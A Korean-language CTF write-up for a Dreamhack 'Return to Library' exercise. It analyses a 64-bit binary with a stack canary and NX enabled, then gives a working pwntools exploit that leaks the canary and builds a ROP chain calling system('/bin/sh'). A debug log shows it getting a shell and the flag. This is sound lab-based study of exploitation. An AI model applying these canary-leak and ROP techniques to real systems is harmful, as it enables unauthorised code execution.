Description
Exploit Tech: Return to Library에서 실습하는 문제입니다.
Files
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ file rtl rtl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b9c3abd745cccbfbd94ffea0231133838853c9ae, not stripped
리눅스 64비트용 실행 파일인 rtl
분석
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ checksec rtl [*] '/home/ubuntu/Desktop/dreamhack-CTF/Return_to_Library/rtl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
스택 카나리 보호 기법이 적용되어있는데, 이번에는 NX 보호기법까지 적용되어있다.
NX 보호기법이란,
메모리 공간의 실행 권한을 뺐는 것.
이는 스택뿐만 아니라 힙 영역도 포함된다.
따라서 우리가 쉘 코드를 삽입했던 스택 영역의 실행 권한을 제거하여 쉘 코드 삽입을 무력화시킨다.
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[56]; // [rsp+0h] [rbp-40h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); system("echo 'system@plt"); puts("[1] Leak Canary"); printf("Buf: "); read(0, buf, 0x100uLL); printf("Buf: %s\n", buf); puts("[2] Overwrite return address"); printf("Buf: "); read(0, buf, 0x100uLL); return 0; }
스택은 아래와 같이 나타낼 수 있다.
main() ret address, 8 byte
————————————–
이전 함수의 base pointer, 8 byte <- rbp
————————————–
Canary, 8 byte <- rbp-8
————————————–
buf, 56byte <- rbp-64
버퍼 오버플로우를 통해 플래그를 얻을 수 있다.
처음 buf 입력받을때: 스택 카나리의 \x00 1바이트 값을 덮어써서 유출시키게 만들고,
두번째로 buf 입력받을때: RTL 기법으로 쉘을 획득할 수 있다.
여기서 RTL (Return To Library, Return-into-libc 기법)이란?
역시 overflow 공격에 기반하며, 버퍼를 overflow시켜 return address를 조작하여 실행의 흐름을 libc 영역으로 돌려서 원하는 libc 함수를 수행시키게 만든다.
ASLR 보호기법이 적용되지 않은 경우, libc의 주소는 변하지 않아 이 라이브러리에 있는 system 함수를 사용하면 될 것이다.
여기서는 rtl 바이너리만으로 안에 있는 system plt를 이용하여 공격하고자 한다.
따라서 공격 페이로드를 짜보면 다음과 같다.
처음으로 buf 입력받을시 (스택 카나리 유출을 위해서):
(buf에 채울 56바이트 더미 데이터) + (스택 카나리 \x00에 덮을 1바이트 더미 데이터)
두번째로 buf 입력받을시 (쉘 획득을 위해서):
(buf에 채울 56바이트 더미 데이터) + (스택 카나리 8바이트) + (8바이트 더미 데이터) + ret 주소 + pop rdi; ret 주소 + “/bin/sh” 주소 + system plt 주소
Solution
from pwn import * context.log_level = 'debug' #p = process('./rtl') p = remote('host3.dreamhack.games', 19496) context(arch='amd64',os='linux') payload = b"\x41"*57 p.recvuntil('Buf: '); p.send(payload) canary = p.recvline().split(payload)[1][:7] canary = b"\x00" + canary canary = u64(canary) print("[+] Got Canary: " + hex(canary)) payload2 = b"\x41"*56 payload2 += p64(canary) payload2 += b"\x41" * 8 e = ELF("./rtl") r = ROP(e) system_plt = e.symbols['system'] sh = next(e.search(b'/bin/sh')) pop_rdi = r.find_gadget(['pop rdi'])[0] ret = r.find_gadget(['ret'])[0] print("[+] system_plt: " + hex(system_plt)); print("[+] sh: " + hex(sh)); print("[+] pop_rdi: " + hex(pop_rdi)); print("[+] ret: " + hex(ret)); payload2 += p64(ret) payload2 += p64(pop_rdi) payload2 += p64(sh) payload2 += p64(system_plt) p.send(payload2) p.interactive()
FLAG
DH{13e0d0ddf0c71c0ac4410687c11e6b00}
ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Return_to_Library$ python3 pwnx.py [+] Opening connection to host3.dreamhack.games on port 19496: Done [DEBUG] Received 0xf bytes: b'[1] Leak Canary' [DEBUG] Received 0x6 bytes: b'\n' b'Buf: ' [DEBUG] Sent 0x39 bytes: b'A' * 0x39 [DEBUG] Received 0x49 bytes: 00000000 42 75 66 3a 20 41 41 41 41 41 41 41 41 41 41 41 │Buf:│ AAA│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 5f 9c │AAAA│AAAA│AAAA│AA_·│ 00000040 dc a4 d0 fe fd f0 07 40 0a │····│···@│·│ 00000049 [+] Got Canary: 0xfdfed0a4dc9c5f00 [*] '/home/ubuntu/Desktop/dreamhack-CTF/Return_to_Library/rtl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 14 cached gadgets for './rtl' [+] system_plt: 0x4005d0 [+] sh: 0x400874 [+] pop_rdi: 0x400853 [+] ret: 0x400285 [DEBUG] Sent 0x68 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000030 41 41 41 41 41 41 41 41 00 5f 9c dc a4 d0 fe fd │AAAA│AAAA│·_··│····│ 00000040 41 41 41 41 41 41 41 41 85 02 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000050 53 08 40 00 00 00 00 00 74 08 40 00 00 00 00 00 │S·@·│····│t·@·│····│ 00000060 d0 05 40 00 00 00 00 00 │··@·│····│ 00000068 [*] Switching to interactive mode [DEBUG] Received 0x22 bytes: b'[2] Overwrite return address\n' b'Buf: ' [2] Overwrite return address Buf: $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x10 bytes: b'flag\n' b'rtl\n' b'run.sh\n' flag rtl run.sh $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x25 bytes: b'DH{13e0d0ddf0c71c0ac4410687c11e6b00}\n' DH{13e0d0ddf0c71c0ac4410687c11e6b00}